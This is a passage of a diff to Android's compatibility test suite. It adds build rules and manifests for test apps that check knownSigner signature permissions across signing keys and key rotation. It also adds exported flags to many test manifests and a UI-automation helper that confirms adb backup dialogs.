+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-const.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app's current signer is in
+# the array of certificate digests as declared by the test package
+# above.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256_3-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app's current signer is not
+# in the array of certificate digests as declared by the test package
+# above.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256_2-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app is signed with a rotated
+# signing key with the current signer not in the array of certificate
+# digests as declared by the test package, but the previous signer in
+# the lineage is. This app can be used to verify that knownSigner
+# permissions are also granted if the app was previously signed with
+# one of the declared digests.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
 cert_dir :=
 
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
index 642653f..1cbca72 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp_companion"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml
new file mode 100644
index 0000000..05d7314
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.appsecurity.cts.tinyapp.perm" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
index f7a639d..7377b00 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp_companion2"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp_companion2"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml
new file mode 100644
index 0000000..5a8c4be
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="6A8B96E278E58F62CFE3584022CEC1D0527FCB85A9E5D2E1694EB0405BE5B599" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml
new file mode 100644
index 0000000..515608b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="@string/known_cert_ec-p256_1" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml
new file mode 100644
index 0000000..d1af528
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="@array/known_certs_ec-p256_1-3" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml
new file mode 100644
index 0000000..8b93ea7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+         android:protectionLevel="signature" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
index 8ca3557..e9e7c8c 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
@@ -13,18 +13,19 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="1">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="1">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
index 2c4d3d9..6591656 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml
new file mode 100644
index 0000000..05d7314
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.appsecurity.cts.tinyapp.perm" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
index ef62aac..2c94a97 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
@@ -14,18 +14,19 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="20"
-        android:versionName="2.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="20"
+     android:versionName="2.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
index 1ead3a2..39217ec 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
@@ -13,18 +13,19 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS b/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS
new file mode 100644
index 0000000..6c01723
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36824
+mpgroover@google.com
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
index 70d5a95..c0ace2b 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
@@ -1,4 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
     <string name="app_name">Tiny App for CTS</string>
+    <string name="known_cert_ec-p256_1">6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml
new file mode 100644
index 0000000..283572f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string-array name="known_certs_ec-p256_1-3">
+      <item>6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599</item>
+      <item>9369370ffcfdc1e92dae777252c05c483b8cbb55fa9d5fd9f6317f623ae6d8c6</item>
+    </string-array>
+</resources>
diff --git a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
index 2f213ab..c60f51c 100644
--- a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
+++ b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
@@ -13,19 +13,21 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.atracetestapp"
-       android:targetSandboxVersion="2">
+     package="com.android.cts.atracetestapp"
+     android:targetSandboxVersion="2">
     <!--
-    A simple app with a tracing section to test that apps tracing signals are
-    emitted by atrace.
-    -->
+            A simple app with a tracing section to test that apps tracing signals are
+            emitted by atrace.
+            -->
     <application>
-        <activity android:name=".AtraceTestAppActivity">
+        <activity android:name=".AtraceTestAppActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <!-- Profileable to enable tracing -->
@@ -33,5 +35,5 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.atracetestapp" />
+         android:targetPackage="com.android.cts.atracetestapp"/>
 </manifest>
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index b2b5cc0..f761e8f 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -248,6 +248,10 @@
         ThreadModel thread = findThread(result.getModel(), result.getPid());
         SliceQueriesKt.iterSlices(thread, (Slice slice) -> {
             requiredSections.remove(slice.getName());
+            // Quick hack to handle vsyncId being appended to doFrame
+            if (slice.getName().startsWith("Choreographer#doFrame ")) {
+                requiredSections.remove("Choreographer#doFrame");
+            }
             return Unit.INSTANCE;
         });
 
diff --git a/hostsidetests/backup/AdbBackupApp/Android.bp b/hostsidetests/backup/AdbBackupApp/Android.bp
new file mode 100644
index 0000000..9173bcb
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app that contains helper procedures to run 'adb backup' / 'adb restore'
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "AdbBackupApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
new file mode 100644
index 0000000..1d65109
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.adbbackupapp">
+
+    <application android:label="AdbBackupApp"/>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.adbbackupapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
new file mode 100644
index 0000000..44e6a2a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.adbbackupapp;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Provides device side routines for running {@code adb backup}. To be invoked by the host side
+ * {@link BackupEligibilityHostSideTest}. These are not designed to be called in any other
+ * way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AdbBackupApp {
+    private static final int CONFIRM_DIALOG_TIMEOUT_MS = 30000;
+
+    @Test
+    public void clickAdbBackupConfirmButton() throws Exception {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        BySelector confirmButtonSelector = By.res("com.android.backupconfirm:id/button_allow");
+        UiObject2 confirmButton =
+                device.wait(Until.findObject(confirmButtonSelector), CONFIRM_DIALOG_TIMEOUT_MS);
+
+        assertNotNull("confirm button not found", confirmButton);
+        assumeTrue(confirmButton.isEnabled());
+
+        confirmButton.click();
+    }
+}
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
deleted file mode 100644
index c79b87c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupAllowedApp">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
deleted file mode 100644
index 57efe7c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupNotAllowedApp"
-        android:allowBackup="false">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
